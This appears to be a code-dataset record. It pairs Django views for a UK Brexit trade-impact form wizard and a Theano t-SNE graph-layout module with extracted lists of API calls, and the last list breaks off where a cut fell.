(constants.STEP_MARKET_SIZE_AFTER_BREXIT, forms.ExportMarketSizeAfterBrexitForm),
(constants.STEP_OTHER_CHANGES, forms.OtherChangesAfterBrexitForm),
(constants.STEP_OUTCOME, forms.OutcomeForm),
(constants.STEP_BUSINESS, forms.BusinessDetailsDevelopingCountryForm),
(constants.STEP_PERSONAL, forms.PersonalDetailsForm),
(constants.STEP_SUMMARY, forms.SummaryForm),
)
templates = {
constants.STEP_COUNTRY: 'core/wizard-step-developing-country.html',
constants.STEP_PRODUCT: 'core/wizard-step-product.html',
constants.STEP_PRODUCT_DETAIL: 'core/wizard-step-product-detail.html',
constants.STEP_SALES_VOLUME_BEFORE_BREXIT: 'core/wizard-step-sales-export-volume-before-brexit.html',
constants.STEP_SALES_REVENUE_BEFORE_BREXIT: 'core/wizard-step-export-sales-revenue-before-brexit.html',
constants.STEP_SALES_AFTER_BREXIT: 'core/wizard-step-export-sales-after-brexit.html',
constants.STEP_MARKET_SIZE_AFTER_BREXIT: 'core/wizard-step-uk-export-market-size-after-brexit.html',
constants.STEP_OTHER_CHANGES: 'core/wizard-step-other-changes-after-brexit.html',
constants.STEP_OUTCOME: 'core/wizard-step-outcome.html',
constants.STEP_BUSINESS: 'core/wizard-step-importer.html',
constants.STEP_PERSONAL: 'core/wizard-step-personal.html',
constants.STEP_SUMMARY: 'core/wizard-step-summary-developing-country.html',
constants.STEP_FINISHED: 'core/form-submitted.html',
}
summary_template = 'core/summary/report-developing-country.html'
class CompaniesHouseSearchAPIView(GenericAPIView):
serializer_class = serializers.CompaniesHouseSearchSerializer
permission_classes = []
authentication_classes = []
def get(self, request, *args, **kwargs):
serializer = self.get_serializer(data=request.GET)
serializer.is_valid(raise_exception=True)
response = ch_search_api_client.company.search_companies(query=serializer.validated_data['term'])
response.raise_for_status()
return Response(response.json()['items'])
class SaveForLaterFormView(FormView):
form_class = forms.SaveForLaterForm
template_name = 'core/save-for-later.html'
success_template_name = 'core/save-for-later-success.html'
success_url = reverse_lazy('landing-page')
@property
def return_url(self):
default_url = reverse('user-type-routing', kwargs={'step': constants.STEP_USER_TYPE})
return unquote(self.request.GET.get('return_url', '')) or default_url
def dispatch(self, request, *args, **kwargs):
if not helpers.get_user_cache_key(request):
return redirect(self.success_url)
return super().dispatch(request, *args, **kwargs)
def get_initial(self):
initial = super().get_initial()
url = self.request.build_absolute_uri(self.return_url)
key = helpers.get_user_cache_key(self.request)
initial['url'] = f'{url}?key={key}'
delta = datetime.timedelta(0, settings. SAVE_FOR_LATER_EXPIRES_SECONDS)
initial['expiry_timestamp'] = (timezone.now() + delta).strftime('%d %B %Y %I:%M %p')
return initial
def form_valid(self, form):
response = form.save(
template_id=settings.GOV_NOTIFY_TEMPLATE_SAVE_FOR_LATER,
email_address=form.cleaned_data['email'],
form_url=self.request.get_full_path(),
email_reply_to_id=settings.NO_REPLY_NOTIFICATION_SERVICE_UUID
)
response.raise_for_status()
return TemplateResponse(self.request, self.success_template_name, self.get_context_data())
def get_context_data(self, **kwargs):
return super().get_context_data(return_url=self.return_url)
class ServiceHoldingPageView(TemplateView):
template_name = 'core/service-holding-page.html'
def get_context_data(self, **kwargs):
return super().get_context_data(
service_availability_start_date=settings.SERVICE_AVAILABILITY_START_DATE,
service_availability_end_date=settings.SERVICE_AVAILABILITY_END_DATE,
)
| [
"core.helpers.get_form_cleaned_data",
"core.helpers.get_form_display_data",
"core.helpers.search_commodity_by_term",
"django.template.response.TemplateResponse",
"django.urls.reverse",
"core.helpers.form_data_to_initial",
"core.helpers.get_sender_ip_address",
"core.helpers.search_commodity_by_code",
... | [((20098, 20126), 'django.urls.reverse_lazy', 'reverse_lazy', (['"""landing-page"""'], {}), "('landing-page')\n", (20110, 20126), False, 'from django.urls import reverse, reverse_lazy\n'), ((3781, 3794), 'django.shortcuts.redirect', 'redirect', (['url'], {}), '(url)\n', (3789, 3794), False, 'from django.shortcuts import redirect, Http404\n'), ((5306, 5359), 'formtools.wizard.forms.ManagementForm', 'ManagementForm', (['self.request.POST'], {'prefix': 'self.prefix'}), '(self.request.POST, prefix=self.prefix)\n', (5320, 5359), False, 'from formtools.wizard.forms import ManagementForm\n'), ((9965, 10021), 'django.template.response.TemplateResponse', 'TemplateResponse', (['self.request', '[template_name]', 'context'], {}), '(self.request, [template_name], context)\n', (9981, 10021), False, 'from django.template.response import TemplateResponse\n'), ((15214, 15253), 'formtools.wizard.views.normalize_name', 'normalize_name', (['BusinessWizard.__name__'], {}), '(BusinessWizard.__name__)\n', (15228, 15253), False, 'from formtools.wizard.views import normalize_name\n'), ((19717, 19808), 'directory_ch_client.client.ch_search_api_client.company.search_companies', 'ch_search_api_client.company.search_companies', ([], {'query': "serializer.validated_data['term']"}), "(query=serializer.\n validated_data['term'])\n", (19762, 19808), False, 'from directory_ch_client.client import ch_search_api_client\n'), ((20190, 20261), 'django.urls.reverse', 'reverse', (['"""user-type-routing"""'], {'kwargs': "{'step': constants.STEP_USER_TYPE}"}), "('user-type-routing', kwargs={'step': constants.STEP_USER_TYPE})\n", (20197, 20261), False, 'from django.urls import reverse, reverse_lazy\n'), ((20692, 20732), 'core.helpers.get_user_cache_key', 'helpers.get_user_cache_key', (['self.request'], {}), '(self.request)\n', (20718, 20732), False, 'from core import constants, forms, helpers, serializers\n'), ((20793, 20855), 'datetime.timedelta', 'datetime.timedelta', (['(0)', 'settings.SAVE_FOR_LATER_EXPIRES_SECONDS'], {}), '(0, settings.SAVE_FOR_LATER_EXPIRES_SECONDS)\n', (20811, 20855), False, 'import datetime\n'), ((5009, 5043), 'core.helpers.form_data_to_initial', 'helpers.form_data_to_initial', (['form'], {}), '(form)\n', (5037, 5043), False, 'from core import constants, forms, helpers, serializers\n'), ((5421, 5496), 'django.core.exceptions.SuspiciousOperation', 'SuspiciousOperation', (['"""ManagementForm data is missing or has been tampered."""'], {}), "('ManagementForm data is missing or has been tampered.')\n", (5440, 5496), False, 'from django.core.exceptions import SuspiciousOperation\n'), ((5762, 5787), 'django.urls.reverse', 'reverse', (['"""save-for-later"""'], {}), "('save-for-later')\n", (5769, 5787), False, 'from django.urls import reverse, reverse_lazy\n'), ((5877, 5919), 'django.shortcuts.redirect', 'redirect', (['f"""{url}?return_url={return_url}"""'], {}), "(f'{url}?return_url={return_url}')\n", (5885, 5919), False, 'from django.shortcuts import redirect, Http404\n'), ((20406, 20441), 'core.helpers.get_user_cache_key', 'helpers.get_user_cache_key', (['request'], {}), '(request)\n', (20432, 20441), False, 'from core import constants, forms, helpers, serializers\n'), ((20462, 20488), 'django.shortcuts.redirect', 'redirect', (['self.success_url'], {}), '(self.success_url)\n', (20470, 20488), False, 'from django.shortcuts import redirect, Http404\n'), ((3251, 3318), 'django.urls.reverse', 'reverse', (['"""wizard-importer"""'], {'kwargs': "{'step': constants.STEP_PRODUCT}"}), "('wizard-importer', kwargs={'step': constants.STEP_PRODUCT})\n", (3258, 3318), False, 'from django.urls import reverse, reverse_lazy\n'), ((3359, 3426), 'django.urls.reverse', 'reverse', (['"""wizard-business"""'], {'kwargs': "{'step': constants.STEP_PRODUCT}"}), "('wizard-business', kwargs={'step': constants.STEP_PRODUCT})\n", (3366, 3426), False, 'from django.urls import reverse, reverse_lazy\n'), ((3494, 3561), 'django.urls.reverse', 'reverse', (['"""wizard-consumer"""'], {'kwargs': "{'step': constants.STEP_PRODUCT}"}), "('wizard-consumer', kwargs={'step': constants.STEP_PRODUCT})\n", (3501, 3561), False, 'from django.urls import reverse, reverse_lazy\n'), ((6263, 6276), 'django.shortcuts.redirect', 'redirect', (['url'], {}), '(url)\n', (6271, 6276), False, 'from django.shortcuts import redirect, Http404\n'), ((6661, 6700), 'core.helpers.get_form_display_data', 'helpers.get_form_display_data', (['form_obj'], {}), '(form_obj)\n', (6690, 6700), False, 'from core import constants, forms, helpers, serializers\n'), ((6728, 6767), 'core.helpers.get_form_cleaned_data', 'helpers.get_form_cleaned_data', (['form_obj'], {}), '(form_obj)\n', (6757, 6767), False, 'from core import constants, forms, helpers, serializers\n'), ((8943, 8986), 'core.helpers.get_sender_ip_address', 'helpers.get_sender_ip_address', (['self.request'], {}), '(self.request)\n', (8972, 8986), False, 'from core import constants, forms, helpers, serializers\n'), ((10142, 10177), 'core.helpers.get_form_cleaned_data', 'helpers.get_form_cleaned_data', (['form'], {}), '(form)\n', (10171, 10177), False, 'from core import constants, forms, helpers, serializers\n'), ((3644, 3713), 'django.urls.reverse', 'reverse', (['"""wizard-developing"""'], {'kwargs': "{'step': constants.STEP_COUNTRY}"}), "('wizard-developing', kwargs={'step': constants.STEP_COUNTRY})\n", (3651, 3713), False, 'from django.urls import reverse, reverse_lazy\n'), ((4387, 4461), 'django.template.response.TemplateResponse', 'TemplateResponse', (['self.request', '"""core/invalid-save-for-later-key.html"""', '{}'], {}), "(self.request, 'core/invalid-save-for-later-key.html', {})\n", (4403, 4461), False, 'from django.template.response import TemplateResponse\n'), ((20896, 20910), 'django.utils.timezone.now', 'timezone.now', ([], {}), '()\n', (20908, 20910), False, 'from django.utils import timezone\n'), ((7415, 7458), 'core.helpers.search_commodity_by_code', 'helpers.search_commodity_by_code', ([], {'code': 'term'}), '(code=term)\n', (7447, 7458), False, 'from core import constants, forms, helpers, serializers\n'), ((7571, 7625), 'core.helpers.search_commodity_by_term', 'helpers.search_commodity_by_term', ([], {'term': 'term', 'page': 'page'}), '(term=term, page=page)\n', (7603, 7625), False, 'from core import constants, forms, helpers, serializers\n')] |
# Copyright (c) 2016 <NAME>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# ^
# / \
# |
# |
#
# License included because this module is a heavily modified version based on
# Paulo's implementation of dynamic t-SNE.
# (https://github.com/paulorauber/thesne)
import math
import numpy as np
import theano
import theano.tensor as T
from sklearn.utils import check_random_state
from scipy.spatial.distance import pdist
from modules.layout_io import save_drawing
epsilon = 1e-16
floath = np.float32
class SigmaTooLowException(Exception):
pass
class NaNException(Exception):
pass
# Squared Euclidean distance between all pairs of row-vectors
def sqeuclidean_var(X):
N = X.shape[0]
ss = (X ** 2).sum(axis=1)
return ss.reshape((N, 1)) + ss.reshape((1, N)) - 2 * X.dot(X.T)
# Euclidean distance between all pairs of row-vectors
def euclidean_var(X):
return T.maximum(sqeuclidean_var(X), epsilon) ** 0.5
# Conditional probabilities of picking (ordered) pairs in high-dim space.
def p_ij_conditional_var(X, sigma):
N = X.shape[0]
sqdistance = X**2
esqdistance = T.exp(-sqdistance / ((2 * (sigma**2)).reshape((N, 1))))
esqdistance_zd = T.fill_diagonal(esqdistance, 0)
row_sum = T.sum(esqdistance_zd, axis=1).reshape((N, 1))
return esqdistance_zd / row_sum # Possibly dangerous
# Symmetrized probabilities of picking pairs in high-dim space.
def p_ij_sym_var(p_ij_conditional):
return (p_ij_conditional + p_ij_conditional.T) / (2 * p_ij_conditional.shape[0])
# Probabilities of picking pairs in low-dim space (using Student
# t-distribution).
def q_ij_student_t_var(Y):
sqdistance = sqeuclidean_var(Y)
one_over = T.fill_diagonal(1 / (sqdistance + 1), 0)
return one_over / one_over.sum()
# Probabilities of picking pairs in low-dim space (using Gaussian).
def q_ij_gaussian_var(Y):
sqdistance = sqeuclidean_var(Y)
gauss = T.fill_diagonal(T.exp(-sqdistance), 0)
return gauss / gauss.sum()
# Per point cost function
def cost_var(X, Y, sigma, Adj, l_kl, l_e, l_c, l_r, r_eps):
N = X.shape[0]
num_edges = 0.5 * T.sum(Adj)
# Used to normalize s.t. the l_*'s sum up to one.
l_sum = l_kl + l_e + l_c + l_r
p_ij_conditional = p_ij_conditional_var(X, sigma)
p_ij = p_ij_sym_var(p_ij_conditional)
q_ij = q_ij_student_t_var(Y)
p_ij_safe = T.maximum(p_ij, epsilon)
q_ij_safe = T.maximum(q_ij, epsilon)
# Kullback-Leibler term
kl = T.sum(p_ij * T.log(p_ij_safe / q_ij_safe), axis=1)
# Edge contraction term
edge_contraction = (1 / (2 * num_edges)) * T.sum(Adj * sqeuclidean_var(Y), axis=1)
# Compression term
compression = (1 / (2 * N)) * T.sum(Y**2, axis=1)
# Repulsion term
# repulsion = (1 / (2 * N**2)) * T.sum(T.fill_diagonal(1 / (euclidean_var(Y) + r_eps), 0), axis=1)
repulsion = -(1 / (2 * N**2)) * T.sum(T.fill_diagonal(T.log(euclidean_var(Y) + r_eps), 0), axis=1)
cost = (l_kl / l_sum) * kl + (l_e / l_sum) * edge_contraction + (l_c / l_sum) * compression + (l_r / l_sum) * repulsion
return cost
# Binary search on sigma for a given perplexity
def find_sigma(X_shared, sigma_shared, N, perplexity, sigma_iters, verbose=0):
X = T.fmatrix('X')
sigma = T.fvector('sigma')
target = np.log(perplexity)
P = T.maximum(p_ij_conditional_var(X, sigma), epsilon)
entropy = -T.sum(P * T.log(P), axis=1)
# Setting update for binary search interval
sigmin_shared = theano.shared(np.full(N, np.sqrt(epsilon), dtype=floath))
sigmax_shared = theano.shared(np.full(N, np.inf, dtype=floath))
sigmin = T.fvector('sigmin')
sigmax = T.fvector('sigmax')
upmin = T.switch(T.lt(entropy, target), sigma, sigmin)
upmax = T.switch(T.gt(entropy, target), sigma, sigmax)
givens = {X: X_shared, sigma: sigma_shared, sigmin: sigmin_shared,
sigmax: sigmax_shared}
updates = [(sigmin_shared, upmin), (sigmax_shared, upmax)]
update_intervals = theano.function([], entropy, givens=givens, updates=updates)
# Setting update for sigma according to search interval
upsigma = T.switch(T.isinf(sigmax), sigma * 2, (sigmin + sigmax) / 2.)
givens = {sigma: sigma_shared, sigmin: sigmin_shared,
sigmax: sigmax_shared}
updates = [(sigma_shared, upsigma)]
update_sigma = theano.function([], sigma, givens=givens, updates=updates)
for i in range(sigma_iters):
e = update_intervals()
update_sigma()
if verbose:
print('[find_sigma] Iteration {0}: Perplexities in [{1:.4f}, {2:.4f}].'.format(i + 1, np.exp(e.min()), np.exp(e.max())), end='\r')
if verbose:
print('\n[find_sigma] Done! Perplexities in [{0:.4f}, {1:.4f}].'.format(np.exp(e.min()), np.exp(e.max())))
if np.any(np.isnan(np.exp(e))):
raise SigmaTooLowException('Invalid sigmas. The perplexity is probably too low.')
# Receives vectors in Y, and moves co-located vertices in opposite directions,
# to assist in the repulsion of vertices.
def switch_shake(Y, magnitude=1e-5):
N = Y.shape[0]
# Auxiliary functions for translating from square to condensed indexing
# of the distance matrix.
def calc_row_idx(k, n):
return int(math.ceil((1 / 2.) * (- (-8 * k + 4 * n**2 - 4 * n - 7)**0.5 + 2 * n - 1) - 1))
def elem_in_i_rows(i, n):
return i * (n - 1 - i) + (i * (i + 1)) / 2
def calc_col_idx(k, i, n):
return int(n - elem_in_i_rows(i + 1, n) + k)
def condensed_to_square(k, n):
i = calc_row_idx(k, n)
j = calc_col_idx(k, i, n)
return i, j
euclid_dist = pdist(Y)
max_dist = euclid_dist.max()
for idx in np.where(euclid_dist <= np.finfo(np.float32).eps)[0]:
(i, j) = condensed_to_square(idx, N)
nudge = np.random.normal(0, max_dist * magnitude, 2)
# v_i and v_j are co-located. Move v_i in a direction, and move v_j in
# the opposite direction.
Y[i, :] += nudge
Y[j, :] -= nudge
return Y
# Perform momentum-based gradient descent on the cost function with the given
# parameters. Return the vertex coordinates and per-vertex cost.
def find_Y(X_shared, Y_shared, sigma_shared, N, output_dims, n_epochs,
initial_lr, final_lr, lr_switch, init_stdev, initial_momentum,
final_momentum, momentum_switch,
initial_l_kl, final_l_kl, l_kl_switch,
initial_l_e, final_l_e, l_e_switch,
initial_l_c, final_l_c, l_c_switch,
initial_l_r, final_l_r, l_r_switch,
r_eps,
Adj_shared, g=None, save_every=None, output_folder=None, verbose=0):
# Optimization hyperparameters
initial_lr = np.array(initial_lr, dtype=floath)
final_lr = np.array(final_lr, dtype=floath)
initial_momentum = np.array(initial_momentum, dtype=floath)
final_momentum = np.array(final_momentum, dtype=floath)
# Hyperparameters used within Theano
lr = T.fscalar('lr')
lr_shared = theano.shared(initial_lr)
momentum = T.fscalar('momentum')
momentum_shared = theano.shared(initial_momentum)
# Cost parameters
initial_l_kl = np.array(initial_l_kl, dtype=floath)
final_l_kl = np.array(final_l_kl, dtype=floath)
initial_l_e = np.array(initial_l_e, dtype=floath)
final_l_e = np.array(final_l_e, dtype=floath)
initial_l_c = np.array(initial_l_c, dtype=floath)
final_l_c = np.array(final_l_c, dtype=floath)
initial_l_r = np.array(initial_l_r, dtype=floath)
final_l_r = np.array(final_l_r, dtype=floath)
# Cost parameters used within Theano
l_kl = T.fscalar('l_kl')
l_kl_shared = theano.shared(initial_l_kl)
l_e = T.fscalar('l_e')
l_e_shared = theano.shared(initial_l_e)
l_c = T.fscalar('l_c')
l_c_shared = theano.shared(initial_l_c)
l_r = T.fscalar('l_r')
l_r_shared = theano.shared(initial_l_r)
# High-dimensional observations (connectivities of vertices)
X = T.fmatrix('X')
# 2D projection (coordinates of vertices)
Y = T.fmatrix('Y')
# Adjacency matrix
Adj = T.fmatrix('Adj')
# Standard deviations used for Gaussians to attain perplexity
sigma = T.fvector('sigma')
# Y velocities (for momentum-based descent)
Yv = T.fmatrix('Yv')
Yv_shared = theano.shared(np.zeros((N, output_dims), dtype=floath))
# Function for retrieving cost for all individual data points
costs = cost_var(X, Y, sigma, Adj, l_kl, l_e, l_c, l_r, r_eps)
# Sum of all costs (scalar)
cost = T.sum(costs)
# Gradient of the cost w.r.t. Y
grad_Y = T.grad(cost, Y)
# Update step for velocity
update_Yv = theano.function(
[], None,
givens={
X: X_shared,
sigma: sigma_shared,
Y: Y_shared,
Yv: Yv_shared,
Adj: Adj_shared,
lr: lr_shared,
momentum: momentum_shared,
l_kl: l_kl_shared,
l_e: l_e_shared,
l_c: l_c_shared,
l_r: l_r_shared
},
updates=[
(Yv_shared, momentum * Yv - lr * grad_Y)
]
)
# Gradient descent step
update_Y = theano.function(
[], [],
givens={
Y: Y_shared, Yv: Yv_shared
},
updates=[
(Y_shared, Y + Yv)
]
)
# Build function to retrieve cost
get_cost = theano.function(
[], cost,
givens={
X: X_shared,
sigma: sigma_shared,
Y: Y_shared,
Adj: Adj_shared,
l_kl: l_kl_shared,
l_e: l_e_shared,
l_c: l_c_shared,
l_r: l_r_shared
}
)
# Build function to retrieve per-vertex cost
get_costs = theano.function(
[], costs,
givens={
X: X_shared,
sigma: sigma_shared,
Y: Y_shared,
Adj: Adj_shared,
l_kl: l_kl_shared,
l_e: l_e_shared,
l_c: l_c_shared,
l_r: l_r_shared
}
)
# Optimization loop
for epoch in range(n_epochs):
# Switch parameter if a switching point is reached.
if epoch == lr_switch:
lr_shared.set_value(final_lr)
if epoch == momentum_switch:
momentum_shared.set_value(final_momentum)
if epoch == l_kl_switch:
l_kl_shared.set_value(final_l_kl)
if epoch == l_e_switch:
l_e_shared.set_value(final_l_e)
if epoch == l_c_switch:
l_c_shared.set_value(final_l_c)
if epoch == l_r_switch:
l_r_shared.set_value(final_l_r)
if final_l_r != 0:
# Give a nudge to co-located vertices in the epoch before the
# repulsion kicks in (otherwise they don't feel any).
Y_shared.set_value(switch_shake(Y_shared.get_value()))
# Do update step for velocity
update_Yv()
# Do a gradient descent step
update_Y()
c = get_cost()
if np.isnan(float(c)):
raise NaNException('Encountered NaN for cost.')
if verbose:
print('[tsne] Epoch: {0}. Cost: {1:.6f}.'.format(epoch + 1, float(c)), end='\r')
if output_folder is not None and g is not None and save_every is not None and epoch % save_every == 0:
# Get per-vertex cost for colour-coding
cs = get_costs()
# Save a snapshot
save_drawing(output_folder, g, Y_shared.get_value().T, 'tsne_snap_' + str(epoch).zfill(5), formats=['jpg'], verbose=False, edge_colors="rgb", draw_vertices=False, opacity=0.3)
# Get per-vertex cost
cs = get_costs()
if verbose:
print('\n[tsne] Done! ')
return np.array(Y_shared.get_value()), cs
def tsne(X, perplexity=30, Y=None, output_dims=2, n_epochs=1000,
initial_lr=10, final_lr=4, lr_switch=None, init_stdev=1e-4,
sigma_iters=50, initial_momentum=0.5, final_momentum=0.8,
momentum_switch=250,
initial_l_kl=None, final_l_kl=None, l_kl_switch=None,
initial_l_e=None, final_l_e=None, l_e_switch=None,
initial_l_c=None, final_l_c=None, l_c_switch=None,
initial_l_r=None, final_l_r=None, l_r_switch=None,
r_eps=1, random_state=None, Adj=None, g=None,
save_every=None, snaps_output_folder=None, verbose=1):
random_state = check_random_state(random_state)
N = X.shape[0]
X_shared = theano.shared(np.asarray(X, dtype=floath))
sigma_shared = theano.shared(np.ones(N, dtype=floath))
if Y is None:
Y = random_state.normal(0, init_stdev, size=(N, output_dims))
Y_shared = theano.shared(np.asarray(Y, dtype=floath))
# Find sigmas to attain the given perplexity.
find_sigma(X_shared, sigma_shared, N, perplexity, sigma_iters, verbose)
# Do the optimization to find Y (the vertex coordinates).
Y, costs = find_Y(X_shared, Y_shared, sigma_shared, N, output_dims, n_epochs,
initial_lr, final_lr, lr_switch, init_stdev, initial_momentum,
final_momentum, momentum_switch,
initial_l_kl, final_l_kl, l_kl_switch,
initial_l_e, final_l_e, l_e_switch,
initial_l_c, final_l_c, l_c_switch,
initial_l_r, final_l_r, l_r_switch,
r_eps,
Adj, g, save_every,
snaps_output_folder, verbose)
# Return the vertex coordinates and the per-vertex costs.
return Y, costs
| [
"theano.tensor.exp",
"theano.tensor.gt",
"numpy.sqrt",
"numpy.log",
"numpy.array",
"theano.shared",
"theano.function",
"numpy.asarray",
"theano.tensor.fvector",
"numpy.exp",
"theano.tensor.fill_diagonal",
"numpy.random.normal",
"sklearn.utils.check_random_state",
"theano.tensor.maximum",
... | [((2250, 2281), 'theano.tensor.fill_diagonal', 'T.fill_diagonal', (['esqdistance', '(0)'], {}), '(esqdistance, 0)\n', (2265, 2281), True, 'import theano.tensor as T\n'), ((2753, 2793), 'theano.tensor.fill_diagonal', 'T.fill_diagonal', (['(1 / (sqdistance + 1))', '(0)'], {}), '(1 / (sqdistance + 1), 0)\n', (2768, 2793), True, 'import theano.tensor as T\n'), ((3422, 3446), 'theano.tensor.maximum', 'T.maximum', (['p_ij', 'epsilon'], {}), '(p_ij, epsilon)\n', (3431, 3446), True, 'import theano.tensor as T\n'), ((3463, 3487), 'theano.tensor.maximum', 'T.maximum', (['q_ij', 'epsilon'], {}), '(q_ij, epsilon)\n', (3472, 3487), True, 'import theano.tensor as T\n'), ((4278, 4292), 'theano.tensor.fmatrix', 'T.fmatrix', (['"""X"""'], {}), "('X')\n", (4287, 4292), True, 'import theano.tensor as T\n'), ((4305, 4323), 'theano.tensor.fvector', 'T.fvector', (['"""sigma"""'], {}), "('sigma')\n", (4314, 4323), True, 'import theano.tensor as T\n'), ((4338, 4356), 'numpy.log', 'np.log', (['perplexity'], {}), '(perplexity)\n', (4344, 4356), True, 'import numpy as np\n'), ((4670, 4689), 'theano.tensor.fvector', 'T.fvector', (['"""sigmin"""'], {}), "('sigmin')\n", (4679, 4689), True, 'import theano.tensor as T\n'), ((4703, 4722), 'theano.tensor.fvector', 'T.fvector', (['"""sigmax"""'], {}), "('sigmax')\n", (4712, 4722), True, 'import theano.tensor as T\n'), ((5038, 5098), 'theano.function', 'theano.function', (['[]', 'entropy'], {'givens': 'givens', 'updates': 'updates'}), '([], entropy, givens=givens, updates=updates)\n', (5053, 5098), False, 'import theano\n'), ((5391, 5449), 'theano.function', 'theano.function', (['[]', 'sigma'], {'givens': 'givens', 'updates': 'updates'}), '([], sigma, givens=givens, updates=updates)\n', (5406, 5449), False, 'import theano\n'), ((6679, 6687), 'scipy.spatial.distance.pdist', 'pdist', (['Y'], {}), '(Y)\n', (6684, 6687), False, 'from scipy.spatial.distance import pdist\n'), ((7748, 7782), 'numpy.array', 'np.array', (['initial_lr'], {'dtype': 'floath'}), '(initial_lr, dtype=floath)\n', (7756, 7782), True, 'import numpy as np\n'), ((7798, 7830), 'numpy.array', 'np.array', (['final_lr'], {'dtype': 'floath'}), '(final_lr, dtype=floath)\n', (7806, 7830), True, 'import numpy as np\n'), ((7854, 7894), 'numpy.array', 'np.array', (['initial_momentum'], {'dtype': 'floath'}), '(initial_momentum, dtype=floath)\n', (7862, 7894), True, 'import numpy as np\n'), ((7916, 7954), 'numpy.array', 'np.array', (['final_momentum'], {'dtype': 'floath'}), '(final_momentum, dtype=floath)\n', (7924, 7954), True, 'import numpy as np\n'), ((8006, 8021), 'theano.tensor.fscalar', 'T.fscalar', (['"""lr"""'], {}), "('lr')\n", (8015, 8021), True, 'import theano.tensor as T\n'), ((8038, 8063), 'theano.shared', 'theano.shared', (['initial_lr'], {}), '(initial_lr)\n', (8051, 8063), False, 'import theano\n'), ((8079, 8100), 'theano.tensor.fscalar', 'T.fscalar', (['"""momentum"""'], {}), "('momentum')\n", (8088, 8100), True, 'import theano.tensor as T\n'), ((8123, 8154), 'theano.shared', 'theano.shared', (['initial_momentum'], {}), '(initial_momentum)\n', (8136, 8154), False, 'import theano\n'), ((8197, 8233), 'numpy.array', 'np.array', (['initial_l_kl'], {'dtype': 'floath'}), '(initial_l_kl, dtype=floath)\n', (8205, 8233), True, 'import numpy as np\n'), ((8251, 8285), 'numpy.array', 'np.array', (['final_l_kl'], {'dtype': 'floath'}), '(final_l_kl, dtype=floath)\n', (8259, 8285), True, 'import numpy as np\n'), ((8304, 8339), 'numpy.array', 'np.array', (['initial_l_e'], {'dtype': 'floath'}), '(initial_l_e, dtype=floath)\n', (8312, 8339), True, 'import numpy as np\n'), ((8356, 8389), 'numpy.array', 'np.array', (['final_l_e'], {'dtype': 'floath'}), '(final_l_e, dtype=floath)\n', (8364, 8389), True, 'import numpy as np\n'), ((8408, 8443), 'numpy.array', 'np.array', (['initial_l_c'], {'dtype': 'floath'}), '(initial_l_c, dtype=floath)\n', (8416, 8443), True, 'import numpy as np\n'), ((8460, 8493), 'numpy.array', 'np.array', (['final_l_c'], {'dtype': 'floath'}), '(final_l_c, dtype=floath)\n', (8468, 8493), True, 'import numpy as np\n'), ((8512, 8547), 'numpy.array', 'np.array', (['initial_l_r'], {'dtype': 'floath'}), '(initial_l_r, dtype=floath)\n', (8520, 8547), True, 'import numpy as np\n'), ((8564, 8597), 'numpy.array', 'np.array', (['final_l_r'], {'dtype': 'floath'}), '(final_l_r, dtype=floath)\n', (8572, 8597), True, 'import numpy as np\n'), ((8651, 8668), 'theano.tensor.fscalar', 'T.fscalar', (['"""l_kl"""'], {}), "('l_kl')\n", (8660, 8668), True, 'import theano.tensor as T\n'), ((8687, 8714), 'theano.shared', 'theano.shared', (['initial_l_kl'], {}), '(initial_l_kl)\n', (8700, 8714), False, 'import theano\n'), ((8725, 8741), 'theano.tensor.fscalar', 'T.fscalar', (['"""l_e"""'], {}), "('l_e')\n", (8734, 8741), True, 'import theano.tensor as T\n'), ((8759, 8785), 'theano.shared', 'theano.shared', (['initial_l_e'], {}), '(initial_l_e)\n', (8772, 8785), False, 'import theano\n'), ((8796, 8812), 'theano.tensor.fscalar', 'T.fscalar', (['"""l_c"""'], {}), "('l_c')\n", (8805, 8812), True, 'import theano.tensor as T\n'), ((8830, 8856), 'theano.shared', 'theano.shared', (['initial_l_c'], {}), '(initial_l_c)\n', (8843, 8856), False, 'import theano\n'), ((8867, 8883), 'theano.tensor.fscalar', 'T.fscalar', (['"""l_r"""'], {}), "('l_r')\n", (8876, 8883), True, 'import theano.tensor as T\n'), ((8901, 8927), 'theano.shared', 'theano.shared', (['initial_l_r'], {}), '(initial_l_r)\n', (8914, 8927), False, 'import theano\n'), ((9002, 9016), 'theano.tensor.fmatrix', 'T.fmatrix', (['"""X"""'], {}), "('X')\n", (9011, 9016), True, 'import theano.tensor as T\n'), ((9071, 9085), 'theano.tensor.fmatrix', 'T.fmatrix', (['"""Y"""'], {}), "('Y')\n", (9080, 9085), True, 'import theano.tensor as T\n'), ((9120, 9136), 'theano.tensor.fmatrix', 'T.fmatrix', (['"""Adj"""'], {}), "('Adj')\n", (9129, 9136), True, 'import theano.tensor as T\n'), ((9216, 9234), 'theano.tensor.fvector', 'T.fvector', (['"""sigma"""'], {}), "('sigma')\n", (9225, 9234), True, 'import theano.tensor as T\n'), ((9293, 9308), 'theano.tensor.fmatrix', 'T.fmatrix', (['"""Yv"""'], {}), "('Yv')\n", (9302, 9308), True, 'import theano.tensor as T\n'), ((9559, 9571), 'theano.tensor.sum', 'T.sum', (['costs'], {}), '(costs)\n', (9564, 9571), True, 'import theano.tensor as T\n'), ((9622, 9637), 'theano.tensor.grad', 'T.grad', (['cost', 'Y'], {}), '(cost, Y)\n', (9628, 9637), True, 'import theano.tensor as T\n'), ((9686, 9975), 'theano.function', 'theano.function', (['[]', 'None'], {'givens': '{X: X_shared, sigma: sigma_shared, Y: Y_shared, Yv: Yv_shared, Adj:\n Adj_shared, lr: lr_shared, momentum: momentum_shared, l_kl: l_kl_shared,\n l_e: l_e_shared, l_c: l_c_shared, l_r: l_r_shared}', 'updates': '[(Yv_shared, 